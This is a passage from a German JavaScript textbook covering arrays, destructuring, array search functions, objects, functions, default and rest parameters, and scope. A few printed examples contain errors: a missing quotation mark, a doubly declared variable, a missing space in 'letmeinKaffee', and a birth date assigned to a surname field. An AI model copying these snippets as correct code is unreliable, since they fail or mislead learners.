                        [image: Array a nach dem Entnehmen der Karte]

                        Abbildung 7.48    
            Array a nach dem Entnehmen der Karte

                    
                    Runde 7:

                    
                        [image: Array a vor dem Entnehmen der Karte]

                        Abbildung 7.49    
            Array a vor dem Entnehmen der Karte

                    
                    
                        [image: Array b nach dem Einfügen der Karte]

                        Abbildung 7.50    
            Array b nach dem Einfügen der Karte

                    
                    
                        [image: Array a nach dem Entnehmen der Karte]

                        Abbildung 7.51    
            Array a nach dem Entnehmen der Karte

                    
                    Runde 8:

                    
                        [image: Array a vor dem Entnehmen der Karte]

                        Abbildung 7.52    
            Array a vor dem Entnehmen der Karte

                    
                    
                        [image: Array b nach dem Einfügen der Karte]

                        Abbildung 7.53    
            Array b nach dem Einfügen der Karte

                    
                    
                        [image: Array a nach dem Entnehmen der Karte]

                        Abbildung 7.54    
            Array a nach dem Entnehmen der Karte

                    
                    Das letzte Element im Array a wird nun abschließend noch ans Ende des Arrays b angefügt: b.push(a[0]);

                    
                        [image: Array b mit dem angefügten letzten Element unseres Kartenstapels]

                        Abbildung 7.55    
            Array b mit dem angefügten letzten Element unseres Kartenstapels

                    
                    
                        [»]  Programmiertechnisches Detail

                        Was mit dem verbleibenden Element in Array a geschieht (dieses wurde aus a nicht entfernt, sondern nur sein Inhalt wurde in b übertragen), ist unerheblich, da Array a nicht weiterverwendet wird.

                    

                    Somit stehen schlussendlich im Array b alle Elemente aus Array a, jedoch in zufälliger Reihenfolge.
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                    Tabelle 7.5    
            Die einzelnen Schritte noch einmal zusammengefasst: In welcher Runde wird welche Karte vom Array a entnommen und in Array b geschrieben?

                
            
            
                Dekonstruierende Zuweisungen

                Hierbei handelt es sich um ein fortgeschrittenes Thema, das Sie zu diesem Zeitpunkt auch überspringen können.

                Dekonstruierende Zuweisungen (Destructuring Assignments) vereinfachen das Zuweisen von Array-Werten an Variablen. Beispielsweise wird im folgenden Beispiel eine Liste liste mit den Werten 1, 2 und 3 an den Indizies 0, 1 und 2 erzeugt. Durch [a,,b] = liste (beachten Sie, dass durch »,,« ein Wert »ausgelassen« wird) greift man im Array liste auf die Indizes 0 und 2 zu:

                let liste = [1,2,3];
let [a,,b] = liste; //a wird der Wert 1 und b der Wert 3 aus dem Array list 
//zugewiesen


                Der alternative Code wäre wie folgt:

                let a = liste[0], b = liste[2];


                Ein anderes Beispiel wäre dasjenige, wo die Inhalte zweier Variablen vertauscht werden sollen. Durch den Einsatz dekonstruierender Zuweisungen gelingt dies relativ einfach:

                let c=7, d=8;
[d,c] = [c,d];


                Der alternative Code gestaltet sich wie folgt, indem eine »Hilfsvariable« tmp verwendet wird, die den Wert von c zwischenspeichert, bevor dieser durch den Wert von d überschrieben wird. Dies ist notwendig, da ansonsten der ursprüngliche Wert von c verloren wäre.

                let c=7, d=8, tmp;
let tmp = c;
c = d;
d = tmp;


                Sie sehen also, dass dekonstruierende Zuweisungen tatsächlich zu einer Vereinfachung von Code führen. Man sollte jedoch eine gewisse Routine haben, um den Code ohne Probleme lesen zu können.

            
            
                Array-Suchfunktionen

                Suchfunktionen für Arrays dienen dazu, spezielle Einträge zu finden, die einem Suchkriterium genügen. In allen Fällen liefert eine solche Suchfunktion den ersten gefundenen Wert zurück, der zum Suchkriterium passt:

                
                    	
                        find(): Sucht das erste Vorkommen eines Wertes zu einer gegebenen Bedingung und gibt diesen Wert zurück.

                    

                    	
                        findIndex(): Sucht das erste Vorkommen eines Wertes zu einer gegebenen Bedingung und gibt den Index dieses Wertes zurück.

                        let wert = [1,3,4,2,5,8,2].find(x => x > 3); //ergibt 4
let index = [1,3,4,2,5,8,2].findIndex(x => x > 3); //ergibt 2


                    

                    	
                        findLast(): Diese Funktion arbeitet das Array in umgekehrter Reihenfolge durch und liefert demnach das letzte Vorkommen eines Wertes zu einer gegebenen Bedingung.

                    

                    	
                        findLastIndex(): sinngemäß für findLast

                        let wert = [1,3,4,2,5,8,2].findLast(x => x > 3); //ergibt 8
let index = [1,3,4,2,5,8,2].findLastIndex(x => x > 3); //ergibt 5


                    

                

                
                    [»]  Arrow-Functions

                    In den letzten Beispielen wurden Arrow Functions verwendet, auf die ich in Abschnitt 7.4.8 noch genauer eingehen werde. Sie stellen eine abgekürzte Schreibweise von Funktionen dar (siehe Abschnitt 7.4.6). Konkret bedeutet x => x > 3 in diesem Fall, dass nach dem ersten Element Ausschau gehalten werden soll, dessen Wert größer als 3 ist.

                

            
        
        
            7.4.5    Benannte Array-Einträge? Objekte (assoziative Arrays)!

            Objekte ähneln Arrays, jedoch werden die Einträge im Gegensatz zu Arrays nicht mithilfe eines Index durchnummeriert, sondern benannt (wir nennen derartige Objekte auch assoziative Arrays). Ein Objekt besteht somit aus einer »endlichen« Anzahl von benannten Eigenschaften.

            Stellen Sie sich beispielsweise die Darstellung einer Person vor: Diese besitzt einen Vor- und Nachnamen sowie ein Geburtsdatum. Im Fall eines Arrays hätten wir nun lediglich die Möglichkeit, diese Informationen geordnet in das Array zu schreiben:

            let personen = [];
personen.push(["Uwe", "Mutz", 17.10.1972"]);
personen.push(["Silvia", "Mutz", "2.5.1978"]);


            Vertauschen wir hier einmal die Reihenfolge, so geraten die Daten durcheinander, da wir bis dato davon ausgegangen sind, dass der Vorname am Index 0, der Nachname am Index 1 und das Geburtsdatum am Index 2 stehen:

            personen.push(["Mutz", "Jakob", "1.8.1997"]);


            Anders sieht die Situation bei Objekten aus: Hier legen wir lediglich die Eigenschaften der Personen fest:

            let person = {}; //oder: let person = new Object();
person.Vorname = "Uwe";
person.Nachname = "Mutz";
person.Geburtsdatum = "17.10.1972";


            In welcher Reihenfolge die Zuordnung geschieht, ist irrelevant:

            let person2 = {};
person2.Geburtsdatum = "2.5.1978";
person2.Vorname = "Silvia";
person2.Nachname = "Mutz";


            Alternativ zur »Punkt-Schreibweise« kann auch über die gewohnte Array-Schreibweise auf die Eigenschaften des Objekts zugegriffen werden:

            let person3 = {};
person3["Geburtsdatum"] = "1.8.1997";
person3["Vorname"] = "Jakob";
person3["Nachname"] = "Mutz";


            Die Array-Schreibweise wird jedoch hauptsächlich dann eingesetzt, wenn man einen variablen Zugriff auf ein Objekt benötigt:

            let eigenschaft = "Vorname";
console.log(person3[eigenschaft]); //"Jakob"


            
                Alternative Schreibweisen

                Ein Objekt kann außerdem über eine Konstruktorfunktion erzeugt werden. Diese Schreibweise ist ein kleiner Vorgriff auf Abschnitt 7.4.6 über Funktionen und soll zunächst einmal nur der Vollständigkeit halber gezeigt werden:

                function person(VN, NN, GebD) {
  this.Vorname = VN;
  this.Nachname = NN;
  this.Geburtsdatum = GebD;
}
let person1 = new person("Uwe","Mutz","17.10.1972");


                Der Ausdruck this bezieht sich hierbei auf eine Eigenschaft »genau dieses« Objekts. Ein Objekt, wie es oben dargestellt wurde, erfordert im zweiten Schritt die sogenannte Instanziierung durch den Aufruf new person(…).

                Eine weitere Schreibweise ist die JavaScript Object Notation (JSON), bei der die Eigenschaften in Anführungszeichen gesetzt werden:

                let person1 = {
  "Vorname": "Uwe",
  "Nachname": "17.10.1972"
};


                In weiterer Folge können somit alle Varianten an Schreibweisen gemischt verwendet werden, um ein und dasselbe Konstrukt zu erzeugen. Selbstverständlich können diese Objekte dann wiederum auch in Arrays gespeichert werden:

                function p(vn,nn,g) {
  this.Vorname = vn;
  this.Nachname = nn;
  this.GebDatum = g;
}
 
let personen = [];
 
let p1 = new Object();
p1.Vorname = "Uwe";
p1.Nachname = "Mutz";
p1.GebDatum = "17.10.1972";
 
let p2 = {};
p2.Vorname = "Silvia";
p2.Nachname = "Mutz";
p2.GebDatum = "2.5.1978";
 
personen.push(p1);
personen.push(p2);
 
personen[2] = new Object();
personen[2].Vorname = "Jakob";
personen[2]["Nachname"] = "Mutz";
personen[2].GebDatum = "1.8.1997";
 
personen.push(new p("Horst","Mutz","18.8.1945"));
 
personen[4] = {
  "Vorname": "Jutta",
  "Nachname": "Mutz",
  "GebDatum": "8.5.1947"
};
 
console.log(personen);


                Listing 7.18    
            Unterschiedliche Herangehensweisen an die Objekterzeugung

                Das (einheitliche) Ergebnis sehen Sie in Abbildung 7.56:

                
                    [image: Wie Sie in der Entwicklerkonsole gut erkennen können, sehen alle erzeugten Objekte gleich aus, obwohl sie auf unterschiedlich(st)e Weisen erzeugt wurden.]

                    Abbildung 7.56    
            Wie Sie in der Entwicklerkonsole gut erkennen können, sehen alle erzeugten Objekte gleich aus, obwohl sie auf unterschiedlich(st)e Weisen erzeugt wurden.

                
                Objekte sind demnach gegenüber Arrays immer dann vorzuziehen, wenn die Inhalte eine gewisse Bedeutung (Vorname, Nachname etc.) besitzen und nicht »nur« durchnumerierte Einträge sind.

                
                    [+]  Welche Schreibweise denn nun?

                    Die obige Vorgehensweise mit unterschiedlichen Varianten beim Anlegen eines Objekts ist natürlich unkonventionell – Sie sollten Ihren eigenen Weg finden und diesen konsequent verfolgen. Ich würde Ihnen zur JSON-Schreibweise raten, da diese sehr verbreitet ist.

                

                Seit ES6 gibt es zusätzlich auch noch eine vereinfachte Schreibweise für die Objektdefinition, die ich Ihnen (wie im Fall von Arrays) während Ihrer Lernphase nur bedingt empfehle.

                Zur Definition eines Objekts mit den benannten Einträgen x und y und den zugewiesenen Werten aus bestehenden Variablen können Sie nun Folgendes schreiben:

                let x = 0, y = 0;
obj = { x, y };


                Die »normale« Vorgehensweise wäre gewesen:

                let x = 0, y = 0;
obj = { x: x, y: y };


            
            
                Generierte Eigenschaftsnamen

                Hierunter versteht man Objekteigenschaften, deren Namen vorab noch nicht feststehen. Im folgenden Beispiel entsteht der zweite Eigenschaftsname des Objekts obj aus dem Text »baz« und einem weiteren Text, der nach Aufruf der Funktion quux[ 2 ] zurückgegeben wird. Dieser »dynamischen Eigenschaft« (dynamisch deshalb, da der Name der Eigenschaft zunächst einmal noch nicht feststeht) wird danach der Wert 42 zugewiesen:

                let obj = {
  foo: "bar",
  ["baz" + quux()]: 42
};


                Die normale Herangehensweise wäre folgende:

                let obj = {
  foo: "bar"
};
obj["baz" + quux()] = 42;


            
        
        
            7.4.6    Vorbereitet, aber (noch) nicht serviert: Funktionen

            Funktionen in der Programmierung darf man sich wie etwas vorstellen, das zwar existiert, aber darauf wartet, verwendet zu werden. Denken Sie beispielsweise an eine Kaffeemaschine: Diese existiert und wartet darauf, von Ihnen verwendet zu werden. Sie wissen, dass Sie das nicht machen müssten, aber Sie wissen auch, dass Sie die Kaffeemaschine auch beliebig oft verwenden könnten. Genauso verhält es sich auch bei Funktionen: Sie existieren und können beliebig oft verwendet werden.

            Neben der obigen Tatsache wissen Sie jedoch auch, dass manche Kaffeemaschinen (sogenannte »Vollautomaten«) sogar in der Lage sind, Sie die Wasser- und Bohnenmenge auswählen zu lassen. Je nachdem, was Sie gewählt haben, erhalten Sie dann einen Espresso, Ristretto, Verlängerten (Lungo) usw. Ihre Kaffeemaschine ist demnach in der Lage, Informationen von Ihnen entgegenzunehmen und entsprechend darauf zu reagieren.

            Eines sollte ich noch anmerken: Es wäre dumm, würde Ihnen die Kaffeemaschine den gebrühten Kaffee vorenthalten … Der Kaffee würde zwar gebrüht werden, läuft aber irgendwo ins Nirvana (oder in den Auffangbehälter) ab. An sich hätte die Kaffeemaschine ihre Aufgabe erledigt, indem sie den Kaffee Ihren Wünschen entsprechend zubereitet hat. Was Sie aber schon gerne hätten, wäre, dass Sie das »Ergebnis« (den Kaffee) auch erhalten – d. h., Sie erwarten eine Rückgabe.

            Entsprechend dieser Analogie ist eine Funktion ein »Block an Code«, der im ersten Moment nur »definiert«, aber noch nicht ausgeführt wird. Das Ausführen dieses Code-Blocks erfordert einen expliziten Aufruf der Funktion. Die Kaffeemaschine möchte auch explizit bedient werden und erzeugt nicht ohne Zutun einen Kaffee.

            Des Weiteren können an die Funktion Informationen (= Wert(e)) übergeben werden, mit denen die Funktion später (je Funktionsaufruf) arbeiten kann. Das ist ähnlich wie bei der Kaffeemaschine: Einmal möchten Sie lieber einen Ristretto, ein andermal soll’s ein Verlängerter werden – ganz nach dem aktuellen Befinden.

            Die Funktion kann von ihrer Seite nach erfolgter Abarbeitung des Codes eine Information an den Aufrufer zurückgeben (im Falle der Kaffeemaschine wäre das der lang ersehnte gebrühte Kaffee).

            Hieraus ergeben sich weitere Begriffe für Funktionen:

            
                	
                    Übergabewerte/Übergabeparameter: Hierunter versteht man diejenigen Informationen, die beim Funktionsaufruf an die Funktion übergeben werden. (Diese sind in der Regel von Funktionsaufruf zu Funktionsaufruf verschieden.)

                

                	
                    Übergabevariablen: Damit meint man »Container« (Variablen), die die Übergabewerte entgegennehmen. Weil es sich um Variablen handelt, müssen wir diesen Namen geben (z. B. Bohnenmenge und Wassermenge); die Inhalte der Variablen hängen jedoch vom Funktionsaufruf ab.

                

                	
                    Rückgabewert: Das ist derjenige Wert, den die Funktion an den »Aufrufer« zurückgibt.

                

            

            Funktionen sind Ihnen an sich gar nicht unbekannt, denn mittlerweile haben Sie – wissentlich oder unwissentlich – bereits vielfach Gebrauch von (vordefinierten) Funktionen gemacht:

            
                	
                    Math.random() ist eine Funktion zum Erzeugen eines Zufallswertes.

                

                	
                    alert("...") ist eine Funktion zum Ausgeben eines Strings in einer Ausgabebox mit integriertem Bestätigen-Button.

                

                	
                    confirm("...") ist eine Funktion zum Ausgeben eines Strings in einer Bestätigungsbox mit integrierten Bestätigen- und Abbrechen-Buttons.

                

                	
                    prompt("...",...) ist eine Funktion zum Ausgeben eines Textes und eines Vorabwertes in einer Eingabebox, wo der User einen eigenen Text eingeben und diesen entweder bestätigen oder die Eingabe abbrechen kann.

                

                	
                    console.log(...) ist eine Funktion zum Ausgeben eines oder mehrerer Werte in der Entwicklerkonsole.

                

            

            Es war Ihnen wahrscheinlich bis dato nicht bewusst, dass Sie solche Funktionalitäten auch selbst erzeugen können. Die obig genannten Funktionen (genau genommen handelt es sich teilweise auch um sogenannte Methoden, aber das ist aktuell nur eine Spitzfindigkeit) sind Teil unserer Programmiersprache JavaScript und somit essenzieller Bestandteil dieser Sprache. Jede Programmiersprache lebt in Wahrheit davon, eine (große) Anzahl vordefinierter Funktionen für den Entwickler bereitzustellen, denn das macht schlussendlich auch die Möglichkeiten aus, die sich in der Sprache ergeben.

            Nun wollen wir ans Werk gehen und eigene Funktionen definieren.

            
                Schritt 1: Die Funktionsdefinition

                Die Funktionsdefinition ist derjenige Schritt, in dem Sie die Funktionalität der Funktion bestimmen. Hierbei erhält die Funktion einen Namen (den Funktionsnamen), der nach dem Wort function geschrieben wird, sowie innerhalb der folgenden runden Klammern eine frei wählbare Anzahl an sogenannten Übergabevariablen. Innerhalb der nun folgenden geschwungenen Klammern wird festgelegt, wie die Funktionalität einer Funktion aussieht. Gegebenenfalls, aber nicht notwendigerweise, darf die Funktion einen Wert zurückliefern. Aber alles der Reihe nach.

                function fkt1(...) {
  //Codeblock, den die Funktion ausführen soll
  [ return ...
}


                
                    [»]  Optionale Angaben

                    Die eckige Klammer vor dem Wort return soll andeuten, dass der return-Befehl optional ist. Geschrieben wird diese Klammer natürlich nicht. Der Name der Funktion wäre in dem obigen Beispiel fkt1.

                

                Betrachten wir folgende Beispiele:

                
                    	
                        Eine Funktion ohne Übergabevariablen und ohne Rückgabewert wäre etwa eine Kaffeemaschine, die ohne Zutun einen Kaffee zubereitet (die Menge der Bohnen und des Wassers wählt sie selbst, ohne es uns wissen zu lassen), Ihnen diesen Kaffee jedoch nicht gibt:

                        function kaffee1() {
  console.log("Bereite Kaffee zu, wobei die Zubereitungsart der ↩
Kaffeemaschine überlassen wurde");
  let kaffee = "Braue Kaffee, aber gib ihn nicht zurück";
} 


                    

                    	
                        Eine Funktion mit Übergabevariablen, jedoch ohne Rückgabewert wäre eine Kaffeemaschine, die Ihnen freie Wahl bei der Wasser- und Bohnenmenge lässt, Ihnen den gebrühten Kaffee jedoch wieder mal nicht gibt):

                        function kaffee2(wassermenge, bohnenmenge) {
  console.log("Bereite den Kaffee mit " + wassermenge + "ml Wasser und " + bohnenmenge + "g Bohnen zu. Ausgeliefert wird nicht");
  let kaffee = "Braue einen feinen Kaffee mit " + wassermenge + 
"ml Wasser und " + bohnenmenge + "g Bohnen, aber gib ihn nicht zurück";
} 


                    

                    	
                        Eine Funktion ohne Übergabevariablen, jedoch mit Rückgabewert wäre nun endlich eine Kaffeemaschine, die zwar ohne Zutun (sprich ohne Auswahl von Wasser- und Bohnenmenge) einen Kaffee zubereitet, diesen Ihnen jedoch auch gibt:

                        function kaffee3() {
  console.log("Bereite Kaffee zu und gib ihn zurück");
  let kaffee = "Zubereitung...";
  return kaffee;
} 


                        Sollte eine Funktion einen solchen Rückgabewert aufweisen, so wird es in weiterer Folge sinnvoll sein, diesen auch »entgegenzunehmen«, wie Sie im folgenden Abschnitt zum Funktionsaufruf sehen werden. Würden wir den Rückgabewert nicht entgegennehmen, würde dieser einfach verpuffen.

                        Eine bekannte Funktion dieser Gattung wäre etwa Math.random(): An sie werden keine Werte übergeben, aber dennoch liefert sie uns einen (zufälligen) Wert zurück.

                    

                    	
                        Eine Funktion mit Übergabevariablen und mit Rückgabewert wäre das Höchste der Gefühle, da wir nun von einem Kaffee-Vollautomaten sprechen, also einer Kaffeemaschine, die den Kaffee nach Ihrer Wahl zubereitet und ihn Ihnen auch gibt:

                        function kaffee4(wassermenge, bohnenmenge) {
  console.log("Bereite Kaffee mit " + wassermenge + "ml Wasser und " + bohnenmenge + "g Bohnen zu und liefere ihn aus");
  let kaffee = "Braue Kaffe mit " + wassermenge + "ml Wasser und " + bohnenmenge + "g Bohnen";
  return kaffee;
} 


                    

                

            
            
                Schritt 2: Der Funktionsaufruf

                Ein Funktionsaufruf erfolgt, indem Sie den Namen der Funktion schreiben, gefolgt von einem Paar runder Klammern, in denen gegebenenfalls Werte übergeben werden. Zu dem Zeitpunkt, an dem eine Funktion aufgerufen wird, wird der darin befindliche Code ausgeführt. In unserer Analogie zur Kaffeemaschine wäre das das Bedienen dieser Maschine – herumzustehen hilft ihr bekanntlich ja nicht weiter.

                kaffee1(); //Aufruf der Funktion kaffee1
kaffee2(150,30); //Aufruf der Funktion kaffee2 mit den Übergabewerten 150 
//(für die Wassermenge) und 30 (für die Bohnenmenge)
let meinKaffee = kaffee3(); //Aufruf der Funktion kaffee3, die einen Wert 
//zurückliefert
let meinZweiterKaffee = kaffee4(120,40); /*Aufruf der Funktion kaffee4 mit den Übergabewerten 120 (Wassermenge) und 40 (Bohnenmenge); die Funktion liefert alsdann einen Rückgabewert zurück, der wiederum in die Variable "meinZweiterKaffee" gespeichert wird.*/


                Listing 7.19    
            Einige Beispiele für Funktionsaufrufe

                Ein anderes Beispiel wäre etwa eine Funktion, die drei Übergabevariablen besitzt: die Zubereitungsart, die Menge an Zucker und die Information, ob der Kaffee mit oder ohne Zucker sein soll:

                function kaffee5(zubereitungsart, zucker, extraMilch) {
  ...
  return kaffee;
}
 
let meinKaffee1 = kaffee5("Espresso",5,true); //Espresso mit Zucker Stufe 5 
//und extra Milch
let meinKaffee2 = kaffee5("Espresso",3,false);
let meinKaffee3 = kaffee5("Großer Brauner",7,true);
let meinKaffee4 = kaffee5("Espresso",3,"nein");


                Listing 7.20    
            Eine Funktion mit drei Übergabevariablen

                Funktionen werfen jedoch auch einige mögliche Fragen auf, insbesondere im Zusammenhang mit den Übergabevariablen:

                
                    	
                        Was geschieht, wenn die Funktion mit zu wenigen Übergabewerten gefüttert wird?
Beispielsweise rufen wir die obige Funktion kaffee5 mit nur zwei anstatt der drei erwarteten Übergabewerte auf: kaffee5("Espresso",5); Wie ist es bei diesem Funktionsaufruf mit der Übergabevariable extraMilch bestellt?

                    

                    	
                        Was geschieht, wenn die Funktion mit zu vielen Übergabewerten gefüttert wird?
Aus irgendeinem Grund könnten wir in der Annahme sein, dass die Funktion kaffee5 vier Übergabewerte erwarten würde: kaffee5("Espresso",5,true,"ohne Becher");

                    

                

                Die entsprechenden Antworten lauten zunächst einmal:

                
                    	
                        Die nicht gefütterten Übergabevariablen erhalten automatisch den Wert undefined.

                    

                    	
                        Die zusätzlichen Übergabewerte werden zwar entgegengenommen, sind aber (zunächst einmal) nicht verfügbar.

                    

                

                (Und, ja, es stimmt, da kommt noch mehr, das Sie zu diesen Themen erfahren können.)

            
            
                Vordefinierte Standardwerte für optionale Übergabevariablen

                Das konkrete Beispiel zum ersten genannten Problem wäre demnach wie folgt:

                function kaffee5(zubereitungsart, zucker, extraMilch) {
  console.log("zubereitungsart:",zubereitungsart);
  console.log("zucker:",zucker);
  console.log("extraMilch:",extraMilch);
 
  ...
  return kaffee;
}
let meinKaffee = kaffee5("Espresso");


                Die Übergabevariablen zucker und extraMilch wären bei diesem Funktionsaufruf undefined. Um diesem Problem Herr zu werden, kann man solchen optionalen Werten Standardwerte zuweisen, die den Variablen immer dann zugewiesen werden, sollten diese beim Funktionsaufruf nicht übergeben werden:

                function kaffee5(zubereitungsart, zucker=5, extraMilch=false) {
  console.log("zubereitungsart:",zubereitungsart);
  console.log("zucker:",zucker);
  console.log("extraMilch:",extraMilch);
 
  ...
  return kaffee;
}
let meinKaffee = kaffee5("Espresso"); //zucker ergibt 5 (Standardwert), 
//extraMilch zu false (Standardwert)
let meinKaffe2 = kaffee5("Espresso",7); //zucker ergibt 7, extraMilch zu false 
//(Standardwert)
let meinKaffee3 = kaffee5("Espresso",3,true); //zucker ergibt 3, extraMilch zu 
//true


                Listing 7.21    
            Eine Funktion mit Standardwerten für die letzten beiden Übergabevariablen

            
            
                Zusätzliche Übergabewerte: Restparameter

                Das Beispiel zu Problem 2 wäre:

                function kaffee6(zubereitungsart) {
  ...
  return kaffee;
}
letmeinKaffee = kaffee6("Großer Schwarzer",5);


                Der Funktionsaufruf würde ohne Probleme vonstatten gehen, aber was geschieht mit dem zweiten übergebenen Wert (5)? Darauf kann man zwei Antworten geben:

                
                    	
                        Um ganz ehrlich zu sein, werden von einer Funktion immer sämtliche Übergabewerte entgegengenommen und stehen als Array-artiges Objekt zur Verfügung, das über den Namen der Funktion, gefolgt von dem definierten Namen arguments abgefragt werden kann. In unserem konkreten Fall wäre dies kaffee6.arguments (oder abgekürzt nur arguments).

                        Nachteilig an dieser Sache ist in unserem konkreten Fall, dass das arguments-Objekt sämtliche an die Funktion übergebenen Werte beinhaltet – und somit auch diejenigen, die wir explizit benannt haben (zubereitungsart). Mit dem arguments-Objekt und seinen sinnvollen Einsatzmöglichkeiten beschäftigen wir uns im folgenden Abschnitt »Eine Funktion mit beliebig vielen Übergabewerten«.

                    

                    	
                        Alternativ zur erstgenannten Variante besteht die Möglichkeit, explizit auf die »restlichen Übergabewerte« einzugehen, indem man sogenannte Restparameter definiert.

                        Diese Variante wäre im konkreten Fall sinnvoller, da wir bereits mit einer benannten Übergabevariable zubereitungsart arbeiten. Um nur auf diese »restlichen Parameter« zuzugreifen, schreibt man:

                        function kaffee6(zubereitungsart, ...weitereInfos) {
  console.log("zubereitungsart:",zubereitungsart);
  console.log("weitereInfos:",weitereInfos);
  ...
  return kaffee;
}
kaffee6("Espresso",6,true); 


                        Listing 7.22    
            Eine Funktion mit Restparametern

                        weitereInfos stellt ein echtes Array (mit allen Methoden) dar, das in diesem Beispiel die Werte 6 und true beinhaltet, wie in Abbildung 7.57 ersichtlich ist.

                    

                

                
                    [image: Die Restparameter »6« und »true« werden in das Array »weitereInfos« aufgenommen und sind nun als »normales« Array innerhalb der Funktion verfügbar.]

                    Abbildung 7.57    
            Die Restparameter »6« und »true« werden in das Array »weitereInfos« aufgenommen und sind nun als »normales« Array innerhalb der Funktion verfügbar.

                
                Bitte beachten Sie, dass die drei Punkte vor weitereInfos in der Funktionsdefinition gewollt und auch notwendig sind, um die Restparameter als solche zu kennzeichnen.

            
            
                Eine Funktion mit beliebig vielen Übergabewerten

                Nicht selten stehen wir vor der Aufgabe, eine Funktion mit einer unbekannten Anzahl an Übergabeparametern zu definieren. Stellen Sie sich etwa als Beispiel vor, dass Sie die Aufgabe gestellt bekommen, den Mittelwert aus einer Menge an Zahlen zu berechnen, wobei jedoch die »Menge an Zahlen« nicht bekannt ist. Eine erste Möglichkeit wäre die, dass als »Übergabevariable« ein Array verwendet wird:

                function mittelwert(werte) {
  let summe = 0;
  for(let i=0; i<werte.length; i++) {
    summe = summe+werte[i];
  }
  return summe/werte.length; //der Mittelwert errechnet sich aus der Summe der 
//Werte, dividiert durch die Anzahl der Werte
}
let avg = mittelwert([2,5,-3,10,8,-4]);
console.log(avg);


                Listing 7.23    
            Eine Funktion, an die beliebig viele Werte übergeben werden können

                Dieser Code würde einwandfrei funktionieren und das Ergebnis wäre wie gewünscht berechnet: 2+5+(-3)+10+8+(-4) = 18 → 18/6 = 3.

                
                    [image: Der Mittelwert der sechs Werte ergibt 3.]

                    Abbildung 7.58    
            Der Mittelwert der sechs Werte ergibt 3.

                
                So weit, so gut. Jedoch ist die Übergabe der Werte in Form eines Arrays etwas holprig – schöner wäre es wohl, die Werte direkt als solche in den Funktionsaufruf zu schreiben, ohne diese zuvor in ein Array zusammensammeln zu müssen. Also in etwa auf folgende Art und Weise:

                let avg = mittelwert(2,5,-3,10,8,-4); //ohne eckige Klammern für das Array


                Auch das ist möglich, berücksichtigt man das bereits im vorigen Abschnitt erwähnte Objekt arguments. Hierbei handelt es sich um ein Array-artiges Objekt, was im Wesentlichen bedeutet, dass es sich wie ein Array verhält, aber streng genommen keines ist. Schlussendlich spielt dieser feine Unterschied für uns und unser Vorhaben jedoch keine Rolle, weshalb wir »Array« dazu sagen können/werden. Durch den Einsatz des Arrays verändert sich unser Code wie folgt:

                function mittelwert() {
  let summe = 0;
  for(let i=0; i<mittelwert.arguments.length; i++) {
    summe = summe+mittelwert.arguments[i];
  }
  return summe/mittelwert.arguments.length;
}
let avg = mittelwert(2,5,-3,10,8,-4);
console.log(avg);


                Listing 7.24    
            Eine Funktion zur Mittelwertberechnung unter Verwendung des »arguments«-Objekts

                Die Änderungen sind also folgende:

                
                    	
                        Es wird keine Übergabevariable definiert: Die Variable (das Array) werte fehlt in der Funktionsdefinition.

                    

                    	
                        Anstatt auf das nun fehlende Array werte wird auf das arguments-Objekt mittels mittelwert.arguments (→ {Name der Funktion}.arguments oder auch nur arguments) zugegriffen.

                    

                    	
                        Der Funktionsaufruf übergibt die Werte nicht mehr als Array, sondern als einzelne (wie gewohnt durch Kommas getrennte) Werte.

                    

                

                Das Ergebnis ist natürlich dasselbe, das Vorgehen jedoch eleganter, wie Sie in Abbildung 7.59 sehen können.

                
                    [image: Beim Funktionsaufruf wird nun kein Array an Werten übergeben, sondern eine Ansammlung einzelner Werte.]

                    Abbildung 7.59    
            Beim Funktionsaufruf wird nun kein Array an Werten übergeben, sondern eine Ansammlung einzelner Werte.

                
                Vielleicht lässt der obige Code Sie dennoch etwas stutzig werden, denn würden wir unser Wissen über Restparameter mit dem neu gewonnenen Wissen vergleichen, so könnten wir doch auch argumentieren, dass wir das arguments-Objekt vollständig durch Restparameter ersetzen könnten, indem wir folgenden Ansatz wählen:

                function mittelwert(...werte) {
  let summe = 0;
  for(let i=0; i<werte.length; i++) {
    summe = summe+werte[i];
  }
  return summe/werte.length;
}
let avg = mittelwert(2,5,-3,10,8,-4);
console.log(avg);


                Listing 7.25    
            Eine Funktion zur Mittelwertberechnung, die Restparameter nutzt.

                Dieser Ansatz wäre wohl das Beste beider Welten und ist auch der bevorzugte Ansatz in der Entwicklerwelt, wenn es um die Übergabe beliebig vieler Werte an eine Funktion geht (siehe Abbildung 7.60).

                
                    [image: Das Beste beider Welten: Beliebig viele Übergabeparameter werden durch Restparameter in Empfang genommen]

                    Abbildung 7.60    
            Das Beste beider Welten: Beliebig viele Übergabeparameter werden durch Restparameter in Empfang genommen

                
            
            
                Zur Erinnerung, weil es nun wichtig wird: Lokale versus globale Variablen – der Function Scope

                Wie Sie bereits wissen, ist eine globale Variable eine solche, die außerhalb einer Funktion (bzw. eines Blockbereichs) erzeugt wurde; eine lokale Variable ist jedoch eine Variable, die innerhalb einer Funktion oder eines Blockbereichs erzeugt wurde. Demnach unterscheiden wir also drei Gültigkeitsbereiche:

                
                    	
                        Global Scope: Variablen, die außerhalb einer Funktion bzw. eines Blocks (gekennzeichnet mit geschwungenen Klammern) deklariert wurden, nennt man globale Variablen – ganz unabhängig davon, ob die Deklaration mit var oder let erfolgt ist. Der von der Variable belegte Speicherplatz wird jedoch nie freigegeben, weshalb globale Variablen den Speicherbedarf (manchmal unnötig) aufblähen.

                    

                    	
                        Function Scope: Hierunter versteht man Variablen, die im Rahmen einer Funktion deklariert wurden.

                    

                    	
                        Block Scope: Hierbei handelt es sich um Variablen, die in einem Blockbereich wie etwa einer if-Anweisung oder einer Schleife deklariert wurden.

                    

                

                Das hat für Variablen weitreichende Konsequenzen:

                
                    	
                        Eine globale Variable ist sowohl innerhalb einer Funktion als auch außerhalb der Funktion verfügbar; es können der Variable an jeder Stelle Werte zugewiesen werden.

                    

                    	
                        Eine lokale Variable ist nur innerhalb einer Funktion und dort auch nur während des Funktionsaufrufs und der damit folgenden Funktionsabarbeitung verfügbar. Außerhalb der Funktion existiert diese Variable nicht.

                    

                

                Listing 7.26 verdeutlicht den Unterschied:

                var a = 23; //globale Variable
let b = 3; //globale Variable aus Sicht der Funktion abc
console.log("Wert der globalen Variablen b:",b);
function abc(c,d,e) {
  //c, d und e sind lokale Variablen
  var f = 19; //lokale Variable
  let g; //lokale Variable
  console.log("alter Wert von b:",b);
  b = c+d+e; //die globale Variable b wird überschrieben
  console.log("neuer Wert von b:",b);
  g = 2 * b; //Zugriff auf die globale Variable b mit neu zugewiesenem Wert
  return g;
}
var x = abc(1,2,5); //globale Variable
console.log("x:",x);


                Listing 7.26    
            Das Problem lokaler und globaler Variablen

